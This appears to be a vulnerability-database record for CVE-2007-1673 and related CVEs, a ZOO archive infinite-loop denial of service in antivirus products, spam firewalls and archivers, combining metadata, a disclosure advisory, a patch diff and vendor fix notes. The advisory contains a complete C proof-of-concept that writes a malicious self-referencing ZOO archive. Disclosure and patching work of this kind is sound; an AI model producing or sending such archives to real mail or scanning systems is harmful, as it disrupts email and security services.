{"cve": [{"lastseen": "2020-12-09T19:26:05", "description": "unzoo.c, as used in multiple products including AMaViS 2.4.1 and earlier, allows remote attackers to cause a denial of service (infinite loop) via a ZOO archive with a direntry structure that points to a previous file.\nhttp://xforce.iss.net/xforce/xfdb/34080\r\n\r\n\r\nFor Barracuda Spam Firewall:\r\nUpgrade to the latest virus definition version of Barracuda Spam Firewall (virusdef 2.0.6399 for 3.4 and after or virusdef 2.0.6399o for prior to 3.4), available from the automatic update.\r\n\r\nFor Panda Software Antivirus:\r\nUpgrade to the latest version of Panda Software Antivirus (4/2/2007 or later), available from the automatic update feature.\r\n\r\nFor avast! antivirus:\r\nUpgrade to the latest version of Panda Software Antivirus (4.7.981 or later), available from the avast! antivirus Web site. See references.\r\n\r\nFor Avira AntiVir:\r\nUpgrade to the latest version of Avira AntiVir (avpack32.dll version 7.3.0.6 or later), available from the automatic update feature.\r\n\r\nFor AMaViS:\r\nRefer to ASA-2007-2 for patch, upgrade, or suggested workaround information. See References.", "edition": 5, "cvss3": {}, "published": "2007-05-09T01:19:00", "title": "CVE-2007-1673", "type": "cve", "cwe": ["CWE-399"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.8, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1673"], "modified": "2018-10-16T16:40:00", "cpe": ["cpe:/a:avira:antivir:7.04.00.23", "cpe:/a:unzoo:unzoo:4.4", "cpe:/h:barracuda_networks:barracuda_spam_firewall:model_500", "cpe:/h:barracuda_networks:barracuda_spam_firewall:*", "cpe:/a:avast:avast_antivirus_home:4.0", "cpe:/a:avast:avast_antivirus:4.7.652", "cpe:/a:avast:avast_antivirus_professional:4.7.827", "cpe:/a:avast:avast_antivirus_home:4.6.652", "cpe:/a:avast:avast_antivirus_professional:4.6.691", "cpe:/a:avast:avast_antivirus_professional:4.0", "cpe:/a:amavis:amavis:2.4.1", "cpe:/a:avast:avast_antivirus:4.7.980", "cpe:/h:barracuda_networks:barracuda_spam_firewall:model_800", "cpe:/a:avast:avast_antivirus_home:4.7.844", "cpe:/a:avast:avast_antivirus_home:4.6", "cpe:/h:barracuda_networks:barracuda_spam_firewall:model_400", "cpe:/a:avira:antivir_personal:7", "cpe:/a:avast:avast_antivirus_professional:4.7.869", "cpe:/a:avast:avast_antivirus_home:4.6.691", "cpe:/h:barracuda_networks:barracuda_spam_firewall:model_300", "cpe:/a:panda:panda_antivirus:2007", "cpe:/a:avast:avast_antivirus_home:4.7.827", "cpe:/a:avast:avast_antivirus_professional:4.6.665", "cpe:/a:avast:avast_antivirus_professional:4.6", "cpe:/a:avira:antivir_personal:7.3.0.5", "cpe:/a:avast:avast_antivirus:4.6.394", "cpe:/a:avast:avast_antivirus_home:4.6.655", "cpe:/a:avast:avast_antivirus:4.7.700", "cpe:/a:rahul_dhesi:zoo:2.10", "cpe:/a:avast:avast_antivirus_professional:4.7.1043", "cpe:/h:barracuda_networks:barracuda_spam_firewall:model_900", "cpe:/a:avast:avast_antivirus_professional:4.6.652", "cpe:/a:avira:antivir_personal:*", "cpe:/h:barracuda_networks:barracuda_spam_firewall:model_100", "cpe:/a:avast:avast_antivirus_home:4.7.869", "cpe:/a:avast:avast_antivirus_home:4.6.665", "cpe:/h:barracuda_networks:barracuda_spam_firewall:model_600", "cpe:/a:avast:avast_antivirus_professional:4.6.603", "cpe:/a:avast:avast_antivirus_professional:4.7.1098", "cpe:/a:avast:avast_antivirus_home:4.7.1043", "cpe:/a:winace:winace:*", "cpe:/a:picozip:picozip:*", "cpe:/a:panda:panda_antivirus_and_firewall:2007", "cpe:/h:barracuda_networks:barracuda_spam_firewall:model_200", "cpe:/a:avira:antivir:6.35.00.00", "cpe:/a:avast:avast_antivirus_professional:4.7.844", "cpe:/a:avira:antivir:*", "cpe:/a:avast:avast_antivirus_home:4.7.1098"], "id": "CVE-2007-1673", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1673", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}, "cpe23": ["cpe:2.3:a:avast:avast_antivirus_home:4.7.844:*:windows:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.6.652:*:*:*:*:*:*:*", "cpe:2.3:a:avira:antivir_personal:7:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus:4.6.394:*:*:*:*:*:*:*", "cpe:2.3:h:barracuda_networks:barracuda_spam_firewall:model_800:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.7.1098:*:windows:*:*:*:*:*", "cpe:2.3:a:avira:antivir_personal:7:*:classic:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.6.603:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.6:*:*:*:*:*:*:*", "cpe:2.3:a:avira:antivir_personal:*:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.7.827:*:windows:*:*:*:*:*", "cpe:2.3:a:avira:antivir:7.04.00.23:*:*:*:*:*:*:*", "cpe:2.3:a:picozip:picozip:*:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.7.844:*:windows:*:*:*:*:*", "cpe:2.3:a:avira:antivir:6.35.00.00:*:*:*:*:*:*:*", "cpe:2.3:h:barracuda_networks:barracuda_spam_firewall:model_600:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.6:*:*:*:*:*:*:*", "cpe:2.3:h:barracuda_networks:barracuda_spam_firewall:*:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.7.1043:*:*:*:*:*:*:*", "cpe:2.3:a:avira:antivir_personal:7.3.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus:4.7.652:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.6.691:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus:4.7.700:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.7.1043:*:*:*:*:*:*:*", "cpe:2.3:h:barracuda_networks:barracuda_spam_firewall:model_400:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.7.1098:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.7.827:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.7.844:*:*:*:*:*:*:*", "cpe:2.3:h:barracuda_networks:barracuda_spam_firewall:model_200:*:*:*:*:*:*:*", "cpe:2.3:a:amavis:amavis:2.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.7.1043:*:windows:*:*:*:*:*", "cpe:2.3:h:barracuda_networks:barracuda_spam_firewall:model_100:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus:4.7.980:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.7.844:*:*:*:*:*:*:*", "cpe:2.3:a:winace:winace:*:*:*:*:*:*:*:*", "cpe:2.3:h:barracuda_networks:barracuda_spam_firewall:model_300:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.7.827:*:*:*:*:*:*:*", "cpe:2.3:a:rahul_dhesi:zoo:2.10:*:*:*:*:*:*:*", "cpe:2.3:a:avira:antivir_personal:*:*:premium:*:*:*:*:*", "cpe:2.3:a:avira:antivir_personal:*:*:classic:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.6.652:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.7.869:*:*:*:*:*:*:*", "cpe:2.3:h:barracuda_networks:barracuda_spam_firewall:model_900:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.7.1098:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.7.869:*:windows:*:*:*:*:*", "cpe:2.3:h:barracuda_networks:barracuda_spam_firewall:model_500:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.0:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.6.665:*:*:*:*:*:*:*", "cpe:2.3:a:panda:panda_antivirus:2007:*:*:*:*:*:*:*", "cpe:2.3:a:avira:antivir:*:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.6.691:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.6.665:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.7.1043:*:windows:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.6.655:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_professional:4.0:*:*:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.7.827:*:windows:*:*:*:*:*", "cpe:2.3:a:avast:avast_antivirus_home:4.7.869:*:*:*:*:*:*:*", "cpe:2.3:a:unzoo:unzoo:4.4:*:*:*:*:*:*:*", "cpe:2.3:a:panda:panda_antivirus_and_firewall:2007:*:*:*:*:*:*:*"]}], "osvdb": [{"lastseen": "2017-04-28T13:20:33", "bulletinFamily": "software", "cvelist": ["CVE-2007-1669", "CVE-2007-1673"], "description": "# No description provided by the source\n\n## References:\n[Secunia Advisory ID:25315](https://secuniaresearch.flexerasoftware.com/advisories/25315/)\nOther Advisory URL: http://www.amavis.org/security/asa-2007-2.txt\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-05/0046.html\nISS X-Force ID: 34080\nFrSIRT Advisory: ADV-2007-1699\n[CVE-2007-1669](https://vulners.com/cve/CVE-2007-1669)\n[CVE-2007-1673](https://vulners.com/cve/CVE-2007-1673)\nBugtraq ID: 23823\n", "edition": 1, "modified": "2007-05-04T07:03:52", "published": "2007-05-04T07:03:52", "href": "https://vulners.com/osvdb/OSVDB:37302", "id": "OSVDB:37302", "title": "AMaViS Zoo Malformed Zoo Archive Handling DoS", "type": "osvdb", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}], "securityvulns": [{"lastseen": "2018-08-31T11:09:25", "bulletinFamily": "software", "cvelist": ["CVE-2007-1672", "CVE-2007-1669", "CVE-2007-1671", "CVE-2007-1670", "CVE-2007-1673"], "description": "Endless loop on archive content parsing.", "edition": 1, "modified": "2007-05-07T00:00:00", "published": "2007-05-07T00:00:00", "id": "SECURITYVULNS:VULN:7671", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7671", "title": "Multiple Zoo archivers DoS", "type": "securityvulns", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:22", "bulletinFamily": "software", "cvelist": ["CVE-2007-1672", "CVE-2007-1669", "CVE-2007-1671", "CVE-2007-1670", "CVE-2007-1673"], "description": "Topic: Multiple vendors ZOO file decompression infinite\r\n loop DoS\r\n\r\nAnnounced: 2007-05-04\r\nCredits: Jean-Sebastien Guay-Leroux\r\nProducts: Multiple (see section III)\r\nImpact: DoS (99% CPU utilisation)\r\nCVE ID: CVE-2007-1669, CVE-2007-1670, CVE-2007-1671,\r\n CVE-2007-1672, CVE-2007-1673\r\n\r\n\r\nI. BACKGROUND\r\n\r\nZoo is a compression program and format developed by Rahul Dhesi in the mid\r\n1980s. The format is based on the LZW compression algorithm and compressed\r\nfiles are identified by the .zoo file extension. It is no longer widely\r\nused, but many modern softwares implement the ZOO compression algorithm.\r\n\r\n\r\nII. DESCRIPTION\r\n\r\nIt's possible to make the ZOO implementation to enter in an infinite loop\r\ncondition. The vulnerability lies in the algorithm used to locate the\r\nfiles inside the archive. Each file in a ZOO archive is identified by a\r\ndirentry structure. Those structures are linked between themselves with a\r\n'next' pointer. This pointer is in fact an offset from the beginning of\r\nthe file, representing the next direntry structure. By specifying an\r\nalready processed file, it's possible to process more than one time this\r\nsame file. The ZOO parser will then enter an infinite loop condition.\r\n\r\n\r\nIII. AFFECTED SOFTWARES\r\n\r\no Barracuda Spam Firewall\r\no Panda Software Antivirus\r\no avast! antivirus\r\no Avira AntiVir\r\no zoo-2.10\r\no unzoo.c\r\no WinAce\r\no PicoZip\r\n\r\n\r\nIV. IMPACT\r\n\r\nIf this attack is conducted against a vulnerable antivirus, the host system\r\nwill have its CPU at 100% utilization and may have problems answering other\r\nrequests.\r\n\r\nIf this attack is conducted against an SMTP content filter running a\r\nvulnerable ZOO implementation, legitimate clients may be unable to send and\r\nreceive email through this server.\r\n\r\n\r\nV. SOLUTION\r\n\r\no Barracuda Spam Firewall - CVE-2007-1669:\r\n They fixed this problem in virusdef 2.0.6399 for firmware >= 3.4 and\r\n 2.0.6399o for firmware < 3.4 March 19th 2007.\r\n\r\no Panda Software Antivirus - CVE-2007-1670:\r\n They fixed this problem April 2nd 2007.\r\n\r\no avast! antivirus - CVE-2007-1672:\r\n They fixed this problem in version 4.7.981, April 14th 2007.\r\n\r\no Avira AntiVir - CVE-2007-1671:\r\n They fixed this problem in avpack32.dll version 7.3.0.6 March 22th 2007.\r\n\r\no zoo-2.10 - CVE-2007-1669:\r\n This software is not maintained anymore. A patch for version 2.10 is\r\n provided in section VII of this advisory because some SMTP content\r\n filters may still use this software.\r\n\r\no unzoo.c - CVE-2007-1673:\r\n This software is not maintained anymore. No patch is provided for this\r\n software.\r\n\r\no WinAce was contacted but no response was received from them.\r\n\r\no PicoZip was contacted but no response was received from them.\r\n\r\n\r\nVI. PROOF OF CONCEPT\r\n\r\nUsing the PIRANA framework version 0.3.3, available at\r\nhttp://www.guay-leroux.com , it is possible to test your SMTP server\r\nagainst this vulnerability.\r\n\r\nAlternatively, here is an exploit that will create a file that will trigger\r\nthe infinite loop condition when it is processed.\r\n\r\n/*\r\n\r\nExploit for the vulnerability:\r\nMultiple vendors ZOO file decompression infinite loop DoS\r\n\r\ncoded by Jean-Sebastien Guay-Leroux\r\nSeptember 2006\r\n\r\n*/\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n// Structure of a ZOO header\r\n\r\n#define ZOO_HEADER_SIZE 0x0000002a\r\n\r\n#define ZH_TEXT 0\r\n#define ZH_TAG 20\r\n#define ZH_START_OFFSET 24\r\n#define ZH_NEG_START_OFFSET 28\r\n#define ZH_MAJ_VER 32\r\n#define ZH_MIN_VER 33\r\n#define ZH_ARC_HTYPE 34\r\n#define ZH_ARC_COMMENT 35\r\n#define ZH_ARC_COMMENT_LENGTH 39\r\n#define ZH_VERSION_DATA 41\r\n\r\n\r\n#define D_DIRENTRY_LENGTH 56\r\n\r\n#define D_TAG 0\r\n#define D_TYPE 4\r\n#define D_PACKING_METHOD 5\r\n#define D_NEXT_ENTRY 6\r\n#define D_OFFSET 10\r\n#define D_DATE 14\r\n#define D_TIME 16\r\n#define D_FILE_CRC 18\r\n#define D_ORIGINAL_SIZE 20\r\n#define D_SIZE_NOW 24\r\n#define D_MAJ_VER 28\r\n#define D_MIN_VER 29\r\n#define D_DELETED 30\r\n#define D_FILE_STRUCT 31\r\n#define D_COMMENT_OFFSET 32\r\n#define D_COMMENT_SIZE 36\r\n#define D_FILENAME 38\r\n#define D_VAR_DIR_LEN 51\r\n#define D_TIMEZONE 53\r\n#define D_DIR_CRC 54\r\n#define D_NAMLEN ( D_DIRENTRY_LENGTH + 0 )\r\n#define D_DIRLEN ( D_DIRENTRY_LENGTH + 1 )\r\n#define D_LFILENAME ( D_DIRENTRY_LENGTH + 2 )\r\n\r\n\r\nvoid put_byte (char *ptr, unsigned char data) {\r\n *ptr = data;\r\n}\r\n\r\nvoid put_word (char *ptr, unsigned short data) {\r\n put_byte (ptr, data);\r\n put_byte (ptr + 1, data >> 8);\r\n}\r\n\r\nvoid put_longword (char *ptr, unsigned long data) {\r\n put_byte (ptr, data);\r\n put_byte (ptr + 1, data >> 8);\r\n put_byte (ptr + 2, data >> 16);\r\n put_byte (ptr + 3, data >> 24);\r\n}\r\n\r\nFILE * open_file (char *filename) {\r\n\r\n FILE *fp;\r\n\r\n fp = fopen ( filename , "w" );\r\n\r\n if (!fp) {\r\n perror ("Cant open file");\r\n exit (1);\r\n }\r\n\r\n return fp;\r\n}\r\n\r\nvoid usage (char *progname) {\r\n\r\n printf ("\nTo use:\n");\r\n printf ("%s <archive name>\n\n", progname);\r\n\r\n exit (1);\r\n}\r\n\r\nint main (int argc, char *argv[]) {\r\n FILE *fp;\r\n char *hdr = (char *) malloc (4096);\r\n char *filename = (char *) malloc (256);\r\n int written_bytes;\r\n int total_size;\r\n\r\n if ( argc != 2) {\r\n usage ( argv[0] );\r\n }\r\n\r\n strncpy (filename, argv[1], 255);\r\n\r\n if (!hdr || !filename) {\r\n perror ("Error allocating memory");\r\n exit (1);\r\n }\r\n\r\n memset (hdr, 0x00, 4096);\r\n\r\n // Build a ZOO header\r\n memcpy (hdr + ZH_TEXT, "ZOO 2.10 Archive.\032", 18);\r\n put_longword (hdr + ZH_TAG, 0xfdc4a7dc);\r\n put_longword (hdr + ZH_START_OFFSET, ZOO_HEADER_SIZE);\r\n put_longword (hdr + ZH_NEG_START_OFFSET,\r\n (ZOO_HEADER_SIZE) * -1);\r\n put_byte (hdr + ZH_MAJ_VER, 2);\r\n put_byte (hdr + ZH_MIN_VER, 0);\r\n put_byte (hdr + ZH_ARC_HTYPE, 1);\r\n put_longword (hdr + ZH_ARC_COMMENT, 0);\r\n put_word (hdr + ZH_ARC_COMMENT_LENGTH, 0);\r\n put_byte (hdr + ZH_VERSION_DATA, 3);\r\n\r\n // Build vulnerable direntry struct\r\n put_longword (hdr + ZOO_HEADER_SIZE + D_TAG, 0xfdc4a7dc);\r\n put_byte (hdr + ZOO_HEADER_SIZE + D_TYPE, 1);\r\n put_byte (hdr + ZOO_HEADER_SIZE + D_PACKING_METHOD, 0);\r\n put_longword (hdr + ZOO_HEADER_SIZE + D_NEXT_ENTRY, 0x2a);\r\n put_longword (hdr + ZOO_HEADER_SIZE + D_OFFSET, 0x71);\r\n put_word (hdr + ZOO_HEADER_SIZE + D_DATE, 0x3394);\r\n put_word (hdr + ZOO_HEADER_SIZE + D_TIME, 0x4650);\r\n put_word (hdr + ZOO_HEADER_SIZE + D_FILE_CRC, 0);\r\n put_longword (hdr + ZOO_HEADER_SIZE + D_ORIGINAL_SIZE, 0);\r\n put_longword (hdr + ZOO_HEADER_SIZE + D_SIZE_NOW, 0);\r\n put_byte (hdr + ZOO_HEADER_SIZE + D_MAJ_VER, 1);\r\n put_byte (hdr + ZOO_HEADER_SIZE + D_MIN_VER, 0);\r\n put_byte (hdr + ZOO_HEADER_SIZE + D_DELETED, 0);\r\n put_byte (hdr + ZOO_HEADER_SIZE + D_FILE_STRUCT, 0);\r\n put_longword (hdr + ZOO_HEADER_SIZE + D_COMMENT_OFFSET, 0);\r\n put_word (hdr + ZOO_HEADER_SIZE + D_COMMENT_SIZE, 0);\r\n memcpy (hdr + ZOO_HEADER_SIZE + D_FILENAME,\r\n "AAAAAAAA.AAA", 13);\r\n\r\n total_size = ZOO_HEADER_SIZE + 51;\r\n\r\n fp = open_file (filename);\r\n\r\n if ( (written_bytes = fwrite ( hdr, 1, total_size, fp)) != 0 ) {\r\n printf ("The file has been written\n");\r\n } else {\r\n printf ("Cant write to the file\n");\r\n exit (1);\r\n }\r\n\r\n fclose (fp);\r\n\r\n return 0;\r\n}\r\n\r\n\r\nVII. PATCH\r\n\r\nTo fix this issue, ensure that the offset of the next file to process is\r\nalways greater than the one you are currently processing. This will\r\nguarantee the fact that it's not possible to process the same files over\r\nand over again. Here is a patch for the software zoo version 2.10\r\ndistributed with many UNIX systems:\r\n\r\n\r\ndiff -u zoo/zooext.c zoo-patched/zooext.c\r\n--- zoo/zooext.c 1991-07-11 15:08:00.000000000 -0400\r\n+++ zoo-patched/zooext.c 2007-03-16 16:45:28.000000000 -0500\r\n@@ -89,6 +89,7 @@\r\n #endif\r\n struct direntry direntry; /* directory entry */\r\n int first_dir = 1;\r\n /* first dir entry seen? */\r\n+unsigned long zoo_pointer = 0; /* Track our position\r\nin the file */\r\n\r\n static char extract_ver[] = "Zoo %d.%d is needed to extract %s.\n";\r\n static char no_space[] = "Insufficient disk space to extract %s.\n";\r\n@@ -169,6 +170,9 @@\r\n exit_status = 1;\r\n }\r\n zooseek (zoo_file, zoo_header.zoo_start, 0); /* seek to where data\r\n begins */\r\n+\r\n+ /* Begin tracking our position in the file */\r\n+ zoo_pointer = zoo_header.zoo_start;\r\n }\r\n\r\n #ifndef PORTABLE\r\n@@ -597,6 +601,12 @@\r\n } /* end if */\r\n\r\n loop_again:\r\n+\r\n+ /* Make sure we are not seeking to already processed data */\r\n+ if (next_ptr <= zoo_pointer)\r\n+ prterror ('f', "ZOO chain structure is corrupted\n");\r\n+ zoo_pointer = next_ptr;\r\n+\r\n zooseek (zoo_file, next_ptr, 0); /* ..seek to next dir entry */\r\n } /* end while */\r\n\r\ndiff -u zoo/zoolist.c zoo-patched/zoolist.c\r\n--- zoo/zoolist.c 1991-07-11 15:08:04.000000000 -0400\r\n+++ zoo-patched/zoolist.c 2007-03-16 16:45:20.000000000 -0500\r\n@@ -92,6 +92,7 @@\r\n int show_mode = 0; /* show file protection */\r\n #endif\r\n int first_dir = 1; /* if first direntry -- to\r\n adjust dat_ofs */\r\n+unsigned long zoo_pointer = 0; /* Track our position in the file\r\n*/\r\n\r\n while (*option) {\r\n switch (*option) {\r\n@@ -211,6 +212,9 @@\r\n show_acmt (&zoo_header, zoo_file, 0); /* show\r\n archive comment */\r\n }\r\n\r\n+ /* Begin tracking our position in the file */\r\n+ zoo_pointer = zoo_header.zoo_start;\r\n+\r\n /* Seek to the beginning of the first directory entry */\r\n if (zooseek (zoo_file, zoo_header.zoo_start, 0) != 0) {\r\n ercount++;\r\n@@ -437,6 +441,11 @@\r\n if (verb_list && !fast)\r\n show_comment (&direntry, zoo_file, 0, (char *) NULL);\r\n } /* end if (lots of conditions) */\r\n+\r\n+ /* Make sure we are not seeking to already processed data */\r\n+ if (direntry.next <= zoo_pointer)\r\n+ prterror ('f', "ZOO chain structure is corrupted\n");\r\n+ zoo_pointer = direntry.next;\r\n\r\n /* ..seek to next dir entry */\r\n zooseek (zoo_file, direntry.next, 0);\r\n\r\n\r\nVIII. CREDITS\r\n\r\nJean-Sebastien Guay-Leroux found the bug and wrote the exploit for it.\r\n\r\n\r\nIX. REFERENCES\r\n\r\n1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1669\r\n\r\n2. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1670\r\n\r\n3. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1671\r\n\r\n4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1672\r\n\r\n5. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1673\r\n\r\n\r\nX. HISTORY\r\n\r\n2006-09-?? : Vulnerability is found\r\n2007-03-19 : All vendors notified\r\n2007-03-19 : Barracuda Networks provided a fix\r\n2007-03-22 : Avira provided a fix\r\n2007-04-02 : Panda Antivirus provided a fix\r\n2007-04-14 : avast! antivirus provided a fix\r\n2007-05-04 : Public disclosure\r\n\r\n", "edition": 1, "modified": "2007-05-07T00:00:00", "published": "2007-05-07T00:00:00", "id": "SECURITYVULNS:DOC:16939", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:16939", "title": "Multiple vendors ZOO file decompression infinite loop DoS", "type": "securityvulns", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}]}